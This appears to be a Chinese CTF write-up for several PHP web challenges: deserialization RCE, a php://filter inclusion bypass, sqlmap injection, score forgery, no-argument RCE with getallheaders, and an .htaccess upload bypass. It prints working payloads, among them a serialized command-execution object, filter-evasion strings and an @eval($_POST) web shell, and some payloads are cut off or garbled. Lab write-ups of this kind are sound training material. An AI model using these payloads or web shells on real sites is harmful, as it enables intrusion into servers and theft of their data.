Unserialize?
<?php
highlight_file(__FILE__);
//Maybeyouneedlearnsomeknowledgeaboutdeserialize?
classevil{
private$cmd;publicfunction__destruct()
{
if(!preg_match(“/cat|tac|more|tail|base/i”,$this->cmd)){
@system($this->cmd);
}
}
}
审计代码: 反序列化自动触发__destruct()魔术方法,只要绕过这个匹配就能利用这个system()函数进行输出
然后我这里利用的是nl来进行查看内容
下面为序列化脚本:
<?phpclass evil {private $cmd = 'ls/';}$a = new evil();echo serialize($a);
这里很重要的 一点就是cmd为私有变量 所以我们加上一个%00就可以了
所以最钟的paylaod:
unser=O:4:”evil”:1:{s:9:”%00evil%00cmd”;s:33:”nl /th1s_1s_fffflllll4444aaaggggg”;}
include 0。0
highlight_file(__FILE__);
//FLAGintheflag.php
$file=$_GET[‘file’];
if(isset($file)&&!preg_match(‘/base|rot/i’,$file)){
考点 文件包含漏洞且不能出现base rot 大小写 那我们换个过滤器就行了
Payloa:?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
ez_sql
过滤条件比较少 Sqlmap一把梭
sqlmap -u http://36290524-fae7-4b49-b911-fe7af45f3104.node4.buuoj.cn:81/” />
游戏高手
这个gameover函数中向/api.php POST了我们的分数
我们可以自己伪造分数POST上传 这里要注意 POSTjson的stringfy形式上传10000000分就可以了
R!!C!!E!!
题目提示敏感信息泄露 ,先用githack恢复获得bo0g1pop.php
得到新的代码审计
这个主要分为两块
第一:
if(‘;’===preg_replace(‘/[^\W]+\((” />,”,$_GET[‘star’]))
第二:
if(!preg_match(‘/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i’
这部分基本把常用的一些无参数rce的办法都ban了但我们可以使用getallheaders()
Paylaod:bo0g1pop.php” />然后随便添加个参数:newstar=phpinfo();
多send几下然后就饿可以看到了
这时候我们就要提取这个phpinfo();使用array_flip()函数,它会将传进来的数组进行一个键和值的互换,这样的话phpinfo();就变成键了,接下来我们只要取键就可以了,这时与之想配合的另一个函数array_rand(),它会随机的取数组中的一个或多个元素的键,不给参数就是默认取一个
Payload:bo0g1pop.php” />多send几下
出来了php界面 那么我们直接修改命令就可以进行rce了 获得flag
Upload again!
这道题考的就是一个是.htaccess文件的解析漏洞另一个就是考的对一句话木马内容的过滤
首先拿到题目大概就是说 你上传图片不行 要求你上传php文件 结果上传之后又发现但不开 所以这时候就要用到.htaccess文件的解析漏洞我们只要把它jpg解释成php就可以了
.htacess内容:AddType application/x-httpd-php .jpg
先上传这个文件
在上传图片
一句话木马内容5.png
@eval($_POST[‘a’])
上传成功 给了路径 yijian一把梭
拿到flag